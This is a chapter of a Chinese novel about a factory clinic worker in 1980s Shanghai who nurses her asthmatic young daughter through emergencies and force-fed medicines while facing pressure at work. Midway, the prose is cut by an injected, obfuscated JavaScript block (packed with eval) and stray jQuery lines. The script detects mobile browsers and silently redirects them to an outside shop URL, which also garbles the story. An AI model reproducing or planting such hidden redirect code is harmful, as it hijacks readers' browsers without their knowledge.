时间总是不停歇的在往前走着，日子在俞阿姨家窗明几净的小屋里，以另一种节奏流淌着。
悠悠还是那个“小药罐子”，春秋两季的交替、一场普通的感冒、甚至空气中飘过的花粉，都可能成为那只看不见的手，骤然扼紧她幼小的呼吸道。但有了俞阿姨这个“一对一”的专属看护，西贝紧绷到极致的神经，总算得到了一丝可贵的、哪怕是短暂的松弛。
最大的安心，来自于距离。俞阿姨家就在对面楼三楼，直线距离不过100米。西贝甚至在家里厨房做饭时，能从窗户看见俞阿姨家阳台晾晒的小衣服——那些用卡其布、灯芯绒边角料精心缝制的背带裤、小衬衫，在风里轻轻摆动。俞阿姨兑现了她的承诺：不抽烟，不搓麻将，所有心思都放在悠悠身上。家里收拾得一尘不染，悠悠的餐具、玩具单独存放、定期消毒。一旦悠悠有咳嗽、流鼻涕的苗头，俞阿姨能立刻发现，并且下楼去公用电话亭打电话通知医务室的西贝。
这是西贝最看重的一点，她反复叮嘱俞阿姨：“阿姨，悠悠要是有点不对劲，哪怕只是多咳几声，或者看起来没精神，侬马上打电话给我！立刻！马上！一分钟都不要等！”
俞阿姨拍着胸脯保证：“放心放心，我晓得的，性命交关的事情！阿拉悠悠的事体，顶顶要紧！”
于是，在医务室那些相对平静的午后，电话铃声偶尔会突兀地响起。西贝的心会条件反射般猛地一揪，抓起听筒时，手指都是冰凉的。但话筒那边传来的，往往是俞阿姨带着笑的大嗓门：
“西贝啊，勿要紧张！悠悠蛮好！就是刚刚打了两个喷嚏，我打电话跟侬讲一声，让侬放心！”
或者：“西贝，今朝天气好，我带悠悠到楼下小花园晒了十分钟太阳，伊蛮开心，就是稍微动动有点喘，我马上抱回来了。跟侬汇报一声哦！”
这种“事无巨细的汇报”，起初让西贝有些哭笑不得，但很快，她就体会到了这其中的珍贵。这是一种被分担的焦虑，一种有人替她时刻紧绷着那根弦的踏实感。她知道，电话那头，有双眼睛和她一样，死死盯着悠悠每一次呼吸的起伏。这让她在医务室处理病人时，能稍微集中一点精神，而不必像以前在车间时，心永远悬在半空，每隔几分钟就要下意识地看向门口，仿佛随时会有噩耗传来。
实在想女儿想得厉害，或者手头工作暂时告一段落时，西贝也会趁午休，匆匆去俞阿姨家看一眼。从厂区骑自行车到家，不过二十来分钟。她轻手轻脚地上楼，推开虚掩的门，经常能看到这样的画面：悠悠午睡刚醒，顶着她标志性的、被俞阿姨用发蜡精心打理过的“三七开”小分头，穿着干干净净的“定制”小衣裳，坐在铺着塑料布的方桌前，小胖手抓着一把调羹，正努力地对付一碗俞阿姨特制的、炖得烂烂的荠菜肉末粥。小脸吃得红扑扑的，鼻尖上冒着细密的汗珠。看到妈妈进来，她也不急着扑过来，只是抬起沾着米粒的小脸，眯着那双被胖脸蛋挤得更小的眼睛，冲妈妈憨憨地、满足地一笑，含糊地喊一声：“姆妈。”
那一刻，西贝觉得，从厂区回来的那二十来分钟，路上扬起的灰尘，医务室里消毒水的味道，还有心底深处那永远挥之不去的、对下一次发病的恐惧，都被女儿这一个笑容，和屋里弥漫的、带着食物暖香的烟火气，暂时熨帖、驱散了。她走过去，摸摸女儿汗湿的、软软的头发，对俞阿姨感激地笑笑。俞阿姨则在一旁，一边织着毛线，一边用上海话絮絮叨叨：“哎哟，侬看看，阿拉悠悠吃饭多‘落胃’！这碗粥，肉末斩得细得来，荠菜碧绿生青，伊一口接一口，乖是乖得来！吃饱饱，身体好！”
偶尔，西贝也会把悠悠带到厂里去。医务室毕竟不是车间，相对清静，只要不吵闹，领导也默许。小小的悠悠一出现在厂区，尤其是在门房间附近，简直就像一颗投入平静水面的、胖乎乎的小石子，总能激起一圈欢乐的涟漪。
门房的张阿姨、王叔叔，还有保卫科几个轮值的老师傅，都是看着西贝长大的“老土地”，对西贝这些年的不易，心里都有一本账。看到西贝抱着那个穿着精神、脸蛋圆得像只红苹果、头发梳得油光水滑的“小少爷”走进来，立刻就围了上来。
“哎哟！西贝，这是你家小囡啊？叫啥名字呀？”张阿姨第一个凑过来，弯下腰，用带着浓重宁波口音的上海话逗弄。
“叫悠悠，甘悠。”西贝笑着答，轻轻拍拍女儿的背，“悠悠，叫张阿姨好，王叔叔好。”
悠悠有点怕生，把小脸埋在西贝颈窝里，只露出一只圆溜溜的眼睛，怯生生地打量着这些陌生的、笑容满面的大人。
“悠悠？名字嗲额！”王叔叔嗓门洪亮，伸出粗大的手指，想碰碰悠悠胖乎乎的脸蛋，又怕自己手糙，在半空中停住了，啧啧称奇，“喔唷！这小囡养得好的！胖嘟嘟，白笃笃，像只无锡大阿福！来来来，让叔叔抱抱看，重不重？”
悠悠被这大嗓门一吓，嘴一瘪，“哇”一声哭了出来，扭动着胖胖的身子，更紧地往妈妈怀里钻，小分头都蹭乱了。
“哎呀呀，老王，侬看看侬，声音像打雷，吓着小囡了！”张阿姨嗔怪地推了王叔叔一把，变戏法似的从口袋里摸出一颗用漂亮玻璃纸包着的水果糖，在悠悠眼前晃，“悠悠勿哭，悠悠乖，看，阿姨给糖糖吃，甜甜的哦。”
悠悠的哭声小了些，泪眼朦胧地看着那颗五彩斑斓的糖，抽抽噎噎。
旁边另一位姓李的师傅操着苏北口音的上海话笑道：“这小家伙，哭起来声音倒蛮响亮，中气足！好！胖点好，胖点有福气！你看这胳膊腿，一节一节，像嫩藕节子！”
众人善意地哄笑。他们当然看得出悠悠的胖，并非全是健康的红润，那张小脸上时常有不自然的潮红，眼皮有时会肿着，呼吸声也比一般孩子粗重些。厂里就这么大，西贝家有个“药罐子”女儿，几乎人人都知道。但没人会点破，更不会用异样的眼光看待。在这些朴实的工人老师傅、老师姐眼里，西贝是个苦命又争气的好姑娘，她这女儿，生得不容易，养得更不容易。那胖，是西贝用数不清的心血和药水灌出来的；那怯生生的眼神，是常年生病、不常与外人接触的结果。他们的打趣和围观，更多的是出于一种近乎本能的、粗粝的疼爱和怜惜。
后来，悠悠来得多了，渐渐也不那么怕生了。她会乖乖地坐在门房间的长条木凳上，晃荡着小短腿，看张阿姨织毛衣，看王叔叔检查进出车辆的单据。张阿姨抽屉里，渐渐多了些小玩意儿：一个掉了漆但还能蹦跳的铁皮青蛙，几颗漂亮的玻璃弹珠，一本边角卷起的旧连环画……都是大家从家里孩子那儿“淘汰”下来，或者不知从哪里寻摸来，专门留给“小悠悠”的。
最让西贝意外的是采购科的曹科长。自从西贝调到医务室，曹科长也因工作关系调到了别的分厂，碰面少了。但有一次，他回总厂办事，正好在门房遇见西贝抱着悠悠。曹科长已经发福了些，有了点中年人的样子，见到西贝，眼睛还是一亮，很自然地走过来打招呼。
“西贝，这是你女儿？都这么大了。”曹科长看着悠悠，眼神很温和。他早已成家，也有了孩子，身上多了份沉稳。
“是啊，曹科长。悠悠，叫曹叔叔。”
悠悠细声细气地叫了声“曹叔叔”。
曹科长笑着应了，蹲下身，平视着悠悠，看了几秒，忽然说：“长得真结实，虎头虎脑的，有精神！”他站起身，对西贝说，“等我一下。”
过了一会儿，他竟从停在厂门口的自行车后座上，拿下来一个崭新的、橘红色的橡胶篮球！篮球在八十年代中期，绝对是稀罕物，尤其是对孩子来说。
“喏，给小家伙玩。”曹科长把篮球塞到西贝手里，动作自然，语气随意，仿佛给的不是什么贵重东西，就是个普通玩具，“小孩子多跑跑跳跳，身体好。你看她这小身板，多运动运动，长得更壮实。”
西贝愣住了，连忙推辞：“曹科长，这太贵重了，不能要不能要……”
“拿着！”曹科长不由分说，直接把球放到地上，轻轻一拍，球弹起来，他接住，又弯下腰，把球滚到悠悠脚边，“叔叔送你的，喜欢吗？”
悠悠低头看着那个几乎有她半个身子大的、橘红色的、圆滚滚的东西，小脸上满是好奇，伸出小胖手，试探着摸了摸。球皮的触感很特别。她抬起头，看看妈妈，又看看曹科长，慢慢地，咧开嘴笑了，用力点了点头。
“你看，孩子喜欢。”曹科长也笑了，对西贝说，“别客气了，一个球而已。对了，”他像是忽然想起什么，从随身背着的、那个年代干部常挎的黑色人造革包里，掏出一台海鸥牌相机，“我今天正好带了相机，来，给小家伙拍两张，拿着球拍，神气！”
他也不等西贝再拒绝，就指挥着：“来，悠悠，抱着球，对，就这样，看叔叔这里……笑一笑！”
悠悠懵懂地抱着那个对她来说过于巨大的篮球，小分头有点歪，衣服也因为刚才的玩闹蹭皱了些，但脸上那新奇又带点羞涩的笑容，在午后门房斑驳的光影里，显得格外生动。曹科长“咔嚓”、“咔嚓”按了几下快门。
几天后，曹科长托人给西贝捎来了一张黑白照片。照片上的悠悠，努力抱着那个大篮球，小脸被挤得更加圆嘟嘟，眼睛笑得眯成了两条缝，背景是灰扑扑的厂区门房和几辆老式自行车。照片拍得并不算多精美，但抓住了孩子那一刻纯粹的笑意。
西贝捏着那张小小的照片，心里五味杂陈。她明白曹科长这份不动声色的关照里，依然残留着一份超越同事的情谊，只是如今，这份情谊化作了对她女儿的善意，坦荡，温和，让人无法拒绝，也无法多想。她把照片仔细地夹进了自己的笔记本里。这份来自旧同事的、带着分寸感的温暖，在她焦头烂额的生活里，像一粒微小的糖，短暂地化开了一丝苦味。
厂里的工作，西贝依然拼尽全力。但医务室的工作性质，让她不得不面对一个更直接的矛盾：开病假。
以前在车间，她是生产者，只需要管好自己那台机器。现在，她是厂里健康的把关人之一。工人们头痛脑热、腰肌劳损、甚至心情郁结，都可能来医务室，希望能开上一两天病假，缓口气。西贝自己就是从最苦最累的车间出来的，她太了解在震耳欲聋的机器声里一站八九个小时，重复千百次单调动作，是怎样的滋味；她也清楚，一个挡车工如果发着高烧还强撑，万一晕倒在飞速旋转的纱锭旁，后果不堪设想；一个搬运工如果腰伤未愈还去扛大包，可能落下终身残疾。
起初，只要她觉得工人确实难受，影响工作甚至安全，都尽可能给予方便。高烧三十九度还咬牙说能挺的挡车工，被她强令回去休息；眩晕症发作、站起来都天旋地转的仓库管理员，她给开了假条；被铁屑崩了眼睛、需要去医院仔细处理的钳工，她不仅开假条，还仔细告知该去哪个医院、挂哪个科……
工人们感激她，背地里都说“医务室新来的西医生，心肠好，体谅我们干活的人”。但很快，麻烦就来了。
先是生产车间的主任找上了门。那是个四十多岁、眉头永远锁着个“川”字的男人，姓刘。他拿着一叠出勤记录，直接拍在西贝的办公桌上，声音不大，但透着火气：
“西医生，侬这个月，光我们细纱车间，就批了八个人次病假！加起来十几天！机器没人看，断头率上去了，产量下来了！这个月的任务怎么完成？奖金大家还要不要了？”
西贝站起来，平静地解释：“刘主任，我批的病假，都是有记录的。张师傅是急性肠胃炎，上吐下泻，站都站不稳；李阿姨是重感冒引发中耳炎，耳朵流脓，车间的噪音对她来说是折磨；小王是腱鞘炎急性发作，手肿得像馒头，不休息，那只手要废掉的。他们不是偷懒，是真做不动了。硬撑着上岗，万一出了安全事故，怎么办？”
刘主任烦躁地挥挥手：“安全问题我晓得！但厂里有厂里的制度！你这里开开口子，我这里就完不成任务！上面要骂人的！从下个月开始，你不能这样随便开假条了！实在不行的，你开转诊单，让他们去区医院、去职工医院，让那边的医生看，他们开了病假才算数！”
“可是刘主任，去外面医院，挂号排队看病拿药，没大半天回不来，小毛病也折腾大了……”
“那我不管！”刘主任打断她，“再这样下去，生产任务完不成，厂长怪罪下来，我第一个找你！你们医务室也要讲政治，讲大局！不能只讲同情心！”
刘主任气呼呼地走了。没过两天，厂部人事科的通知也下来了：医务室西贝同志，本月奖金全部扣除，原因是“病假审批不严，影响生产秩序”。
消息传到车间，不少受过西贝照顾的工人为她抱不平，但也只能在私下里嘀咕几句。西贝自己倒很平静。扣奖金，虽然肉痛，但她在决定那么做的时候，并非没有心理准备。她只是没想到，会来得这么快，这么直接。
她主动去了厂长办公室。不卑不亢，把刘主任提到的那几个工人的具体病情、可能的风险，又陈述了一遍。厂长是个头发花白、面相严肃的老干部，听完，沉吟了半晌，说：“西贝同志，你的责任心，厂里是知道的。你女儿身体不好，你也困难，大家都理解。但是，”他话锋一转，“厂子是国家的，生产任务是硬指标。几百号人等着发工资、发奖金。你体谅工人的辛苦，我这个当厂长的，要体谅全厂几百号人的饭碗。”
他给了西贝一个折中的方案：医务室可以酌情处理，但每个月开出的、无需转诊的厂内病假条，不能超过一个限额。具体限额，由厂办、生产科和医务室共同商定。超过部分，必须转诊到指定职工医院，凭那边诊断才能休假。同时，医务室要做好记录，定期向厂办汇报。
这已经是厂长在规则范围内，能给的最大通融。西贝知道，再争下去也无益。她默默地接受了这个“限额”。
回到医务室，她把新的规定写在一张白纸上，贴在了诊室门口的墙上。工人们来看病时，她也会先把丑话说在前头：“师傅，依这个情况，按厂里新规定，要么我先开点药，侬歇一歇，感觉好点再上工；要么，我就只能开转诊单，侬辛苦跑一趟职工医院，让那边医生确诊开假条。厂里现在卡得紧，我也没办法。”
大多数工人听了，叹口气，都能理解。毕竟，西贝的难处，大家有目共睹。她能做的，已经比以前的厂医多多了。实在难受得不行的，也会拿着转诊单，嘟嘟囔囔地往外走。西贝看着他们的背影，心里并不好受。但她能做的，也只能是在规则之内，尽量灵活一些。对于那些真正紧急、危重的，比如高烧惊厥、急性腹痛、外伤出血的，她依然会毫不犹豫地开单子、联系车辆送医，事后打报告说明情况。这是底线，谁来她都不会退让。
日子，就在这种微妙的平衡与持续的紧绷中，一天天过去。悠悠的哮喘，像一颗不定时的炸弹，不知何时会引爆。西贝早已习惯了在深夜被女儿急促的喘息和憋闷的呛咳声惊醒。她会像训练有素的士兵，瞬间从沉睡中弹起，开灯，拿出常备的急救喷雾剂，对着悠悠的口鼻按压。有时候，药物能暂时压下去，母女俩后半夜就在心悸和疲惫中半梦半醒地挨到天亮。有时候，喷雾剂的效果微弱，那“吼吼”的喘鸣音像破旧的风箱，越来越急，悠悠的小脸开始发紫，嘴唇发青，小手无力地抓挠着自己的胸口。
这时候，任何犹豫都是致命的。西贝会一把抱起滚烫的、因缺氧而瘫软的女儿，用毯子一裹，冲着在外间和衣而卧的甘英嵘大喊一声：“去医院！” 甘英嵘会立刻冲出来，两人甚至来不及多说什么，一个抱孩子，一个推自行车，冲进浓稠的夜色里。
深夜的街道空旷寂静，只有自行车链条摩擦的“嘎吱”声，和悠悠越来越微弱的喘息。西贝紧紧抱着女儿，坐在自行车后座，身体随着车的颠簸而摇晃，心却像被浸在冰水里，不断下沉。她能感觉到怀里的女儿在轻微地抽搐，小身体烫得吓人。她只能一遍遍徒劳地低语：“悠悠不怕，妈妈在，马上就到了，马上就到了……” 不知道是在安慰女儿，还是在安慰自己。
儿童医院的急诊室，无论多晚，似乎永远灯火通明，永远拥挤不堪。咳嗽声、哭闹声、大人的安抚声、护士的喊叫声混作一团，空气里弥漫着消毒水、呕吐物和汗液混合的复杂气味。长椅上、角落里，挤满了抱着孩子、满面焦灼的家长。每个人的脸上，都写着同样的疲惫、恐惧和无助。
挂号，排队，看医生。听诊器冰凉的触感，医生快速而严肃的询问，然后是开单、付费、拿药、做皮试……悠悠的小手，因为反复静脉注射，已经很难找到完好的血管。护士常常要在她的小手、小脚甚至额头上寻找下针的地方。针头刺入的瞬间，刚开始那几年悠悠会爆发出撕心裂肺的哭喊，小身体因恐惧和疼痛剧烈挣扎。西贝和甘英嵘，一个负责死死按住孩子的身体，一个负责固定住打针的部位，不敢看女儿的眼睛，只能别过脸，咬紧牙关，听着那哭声像刀子一样割着自己的心。但慢慢的小悠悠习惯了这些注射，也知道看病是为了自己早点好，所以勇敢的都很少哭了。
然后，是漫长的输液。悠悠的小手被绑在一块硬纸板上，以防她乱动滚针。有时候悠悠昏昏沉沉地睡去，小脸上还挂着泪痕。西贝就坐在冰冷的板凳上，把女儿抱在怀里，小心地调整着姿势，让输液管保持通畅。她不敢睡，要盯着输液瓶里的液体一滴一滴落下，要留意女儿有没有异常反应。时间在消毒水的味道和周围孩子的呜咽声中，被拉得无限漫长。窗外的天色，从浓黑，到深蓝，再到泛起鱼肚白……
病房里终于只剩下仪器规律的、低低的嗡鸣。消毒水的味道还在，但那股让人头皮发麻的紧张感，像潮水一样退去了，留下一地湿冷的疲惫。西贝坐在床边的方凳上，背挺得笔直，这是长时间保持一个姿势后肌肉形成的僵硬记忆。她该去洗碗，该去问问医生明天的药，该想想拖欠的住院费……但这一刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17621384|206185||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，她一动也不想动。
午后的阳光，正好从西面的窗户斜斜地切进来，像一块温润的、半透明的琥珀，将病床的一角温柔地包裹其中。光线里，无数微小的尘埃在无声地飞舞、沉浮，仿佛一场寂静宇宙里的盛大星云。
悠悠睡着了。或许是药物的作用，她的呼吸终于变得均匀、绵长，不再是那种拉风箱似的、让人心揪的急促。一小束光正好落在她的脸颊上，照亮了那些几乎看不见的、柔软的绒毛。她的睫毛在眼睑下投出一小片脆弱的阴影，随着呼吸，那阴影微微地颤，像蝴蝶湿了翅膀后最轻微的悸动。
西贝看着，忽然就忘了要去想那些“该”做的事。她的全部世界，仿佛就缩在了这一束光，这一张脸，这细细的呼吸声里。一种极致的疲惫，同时带来一种奇异的空白与平静。没有恐惧，没有算计，没有对过去的不甘或对未来的忧虑。就只有“此刻”——孩子还活着，在安稳地睡，阳光正好。
她慢慢地、极其缓慢地伸出手，指尖在即将触碰到那束光、那片被照亮的肌肤时，停住了。她怕惊扰了这梦境，怕碰碎了这片刻的、偷来的安宁。她就那样悬着手，任由阳光将自己的指尖也镀上一层温暖的金色，仿佛自己也成了这宁静画面里的一部分，一粒安然沉浮的尘埃。
走廊远处传来推车滚过的声音，隐约的人声，现实的轮廓渐渐重新清晰。西贝收回手，那点暖意还留在指尖。她轻轻吸了口气，又缓缓吐出，挺了挺发酸的腰背。该去洗碗了。但心里某个紧绷到快要断裂的地方，仿佛被那束光悄悄熨过了一下，虽然依旧皱褶，却不再那么割人了。
一次急诊，往往意味着接下来至少一周，每个晚上都要来医院报到输液。如果病情严重，或者病房正好有空床，悠悠就会被收治入院。那对西贝来说，意味着更持久的战役：向单位请假（用她拼命加班积攒的调休），奔波于医院、家和单位之间，应对病房里其他生病的孩子和焦虑的家长，应对医生可能的病危通知（虽然经历多次，但每一次接到那张薄薄的纸，她的手还是会抖），应对无穷无尽的缴费单、取药、雾化、擦洗、安抚……
所以，在厂里，但凡有加班的机会，无论是节假日值班，还是临时有紧急生产任务需要医务人员留守，西贝总是第一个报名。她加班的理由简单而直接：攒调休。她的人缘好，无论之前在细纱车间、在筒摇车间、缝纫科、裁剪科、甚至在后来相对清闲的技术科室，都留下过勤快、肯帮忙的好名声。现在到了医务室，她也没有因为身份的转变而拿架子。哪个科室需要帮忙整理健康档案，哪个老师傅腰腿不便需要上门打针，只要开口，她能帮就帮。这份“好人缘”和“苦干”的形象，让她在需要频繁为悠悠请假时，领导虽然头疼，但也不好过于苛责。同事们也多以理解的目光，默默分担一些她因请假而耽搁的工作。
只是，所有的理解和分担，都有其限度。刘主任的警告，扣发的奖金，就像悬在头顶的达摩克利斯之剑，提醒着她现实的冰冷边界。
除了常规的中药、西药，西贝还像个寻找救命稻草的溺水者，不放过任何一丝可能改善悠悠体质的希望。各种民间偏方、道听途说的秘方，她都愿意一试。
她托在市第一妇婴保健院做助产士的老同学，搞来新鲜的胎盘。那东西被小心地包裹在搪瓷盒里，还带着血丝和温热。按照“偏方”，需要用清水反复漂洗，直到发白，然后切碎，和瘦猪肉、姜片一起炖汤，或者烘干磨成粉，掺在粥里给悠悠吃。第一次处理时，西贝看着那紫红色的、滑腻的组织，胃里一阵翻江倒海。但她闭上眼，深吸一口气，戴上手套，像进行一场神圣又残酷的仪式，仔细地清洗、切割。炖出的汤，有一种难以形容的、混合着血腥和肉类的古怪气味。悠悠第一次喝时，小脸皱成一团，差点吐出来。西贝忍着心酸，硬着心肠，学着俞阿姨喂药时的样子，用勺子强喂进去。后来，她在汤里加了点香菇和红枣，味道才勉强能接受。至于胎盘粉，则被她巧妙地混在肉松或者芝麻粉里，骗悠悠吃下去。她不知道这有没有用，但只要听说“大补”、“提高免疫力”，她就愿意去试。
还有蛇胆。不知从哪里打听来的，说蛇胆清肺热，对哮喘好。她辗转托人，从郊区农民那里买来活蛇，取胆。那碧绿、苦得惊心动魄的胆汁，滴在温水里，哄着悠悠喝下。悠悠苦得浑身打哆嗦，眼泪汪汪。西贝的心也跟着哆嗦，但她只能背过身，擦掉自己眼角的湿意，再转过来，用尽可能平静的声音说：“悠悠乖，吃了这个，咳嗽就好了，就能和楼下小朋友一起玩了。”
至于那些千奇百怪的中草药汤剂，更是家常便饭。砂锅里永远飘着苦涩的药香。喂药，是母女间日复一日的拉锯战。起初，悠悠怕极了那黑乎乎、散发着刺鼻气味的液体，看到药碗就哭，就躲。西贝没有那么多时间和耐心去慢慢哄。她会用双腿固定住女儿乱踢乱蹬的小身子，一只手捏住悠悠的鼻子，趁她张嘴呼吸的瞬间，另一只手迅速将药碗凑到她嘴边，往里灌。药汁从嘴角溢出，糊满了悠悠的下巴、脖子，混合着鼻涕和眼泪。悠悠被呛得剧烈咳嗽，小脸憋得通红，眼睛里全是恐惧和抗拒，小手徒劳地推搡着妈妈的手臂，却撼动不了分毫。那一刻，西贝觉得自己像个冷酷的刽子手，亲手将苦涩灌进女儿弱小的身体。灌完药，她松开手，悠悠会趴在床沿咳得撕心裂肺，把刚灌下去的药汁吐出一部分。西贝又要手忙脚乱地清理，重新喂水，抱着哭到脱力的女儿，轻轻拍着她的背，自己的眼泪也无声地滚落，滴在女儿汗湿的头发上。
但她没有别的选择。不吃药，病就不会好，甚至会要命。她只能在每一次灌药后，用温水细细地给女儿擦脸，换上干净衣服，把她搂在怀里，一遍遍低声解释，也不知道是说给女儿听，还是说给自己听：“悠悠乖，药是苦的，但吃了药，病才能好。病好了，就不咳嗽了，不难受了，就能出去晒太阳，去公园玩滑梯了……妈妈知道苦，妈妈也难受，但我们悠悠最勇敢了，对不对？”
不知道是这话真的起了作用，还是悠悠在无数次“斗争”中终于明白反抗无效，抑或是她小小的身体本能地知道，只有吃下这些苦水，才能从那种窒息般的痛苦中解脱出来，渐渐地，她不再那么激烈地抗拒了。看到药碗端来，她会自己皱起小眉头，露出厌恶的表情，但还是会慢慢地、试探性地伸出小手，想自己端，又怕烫，缩回去。西贝便把药吹温，一勺一勺喂。悠悠会闭上眼睛，像完成一项艰巨的任务，咕咚咕咚大口喝下去，然后立刻张开嘴，等着妈妈把准备好的一小块水果糖，塞进她嘴里，冲淡那令人作呕的苦味。
“妈妈，苦。” 她会瘪着嘴，眼泪在眼眶里打转，但不再嚎啕大哭。
“嗯，妈妈知道苦。悠悠最乖了，吃了药，病就好了。” 西贝把她搂进怀里，轻轻拍着。
“病好了，就不去医院，不打针。” 悠悠把脸埋在她胸前，闷闷地说。
“对，不去医院，不打针。我们悠悠健健康康的。”
“嗯，健康。” 悠悠重复着这个词，似懂非懂。但她知道，“健康”是好的，是和“不咳嗽”、“能出去玩”、“不用喝苦药水”联系在一起的。为了这个“好”，她愿意吞下所有的“苦”。
深夜，当悠悠终于被药物安抚，沉沉睡去，发出平稳的呼吸声，甘英嵘也早已在疲惫中鼾声微起，西贝的一天，却还没有结束。她会拧亮床头那盏光线昏黄的台灯，就着那点光，拿出钩针和毛线。毛线是托人从厂里买的处理品，颜色不那么鲜亮，但质地柔软。她低着头，手指飞快地动作，钩针在毛线间穿梭，发出细微的“沙沙”声。她在给悠悠织毛衣、毛裤、毛袜子。秋天的，冬天的，厚一点的，薄一点的。悠悠长得快，去年的衣服今年就短了。她必须赶在天气彻底冷下来之前，织出新的。一针，一线，交织着的是一个母亲在寂静深夜里，无处安放的焦虑、期盼，和那一点点，从指尖传递到织物里的、笨拙而绵长的爱。
偶尔，她会停下手，侧耳倾听女儿平稳的呼吸，伸手探探她额头的温度，为她掖好被角。然后，目光不经意地掠过窗外。对面楼，俞阿姨家的窗户早已一片漆黑。
西贝低头，继续织着手里的毛衣，针脚细密而均匀。她没有说话，只是那编织的动作，在昏黄的灯光下，显得更加沉默，更加固执。有些事，像毛衣上不小心钩错的针脚，拆了重来，痕迹仍在。有些话，像这深夜无法言说的疲惫，说出来，除了增添裂痕，并无他用。
她早已习惯，把所有的疑问、委屈、乃至愤怒，都编织进这漫长的沉默，和这永无尽头的、一针一线的守护里。
窗外的夜色，浓得化不开。弄堂里最后一点人声也熄灭了，只有远处偶尔传来几声模糊的犬吠。这间小小的屋子，像惊涛骇浪中一艘不堪重负的小船，载着沉睡的女儿、疏离的丈夫，和这个在灯下默默编织、独自掌舵的母亲，驶向又一个未知的、或许有风浪、或许有短暂平静的黎明。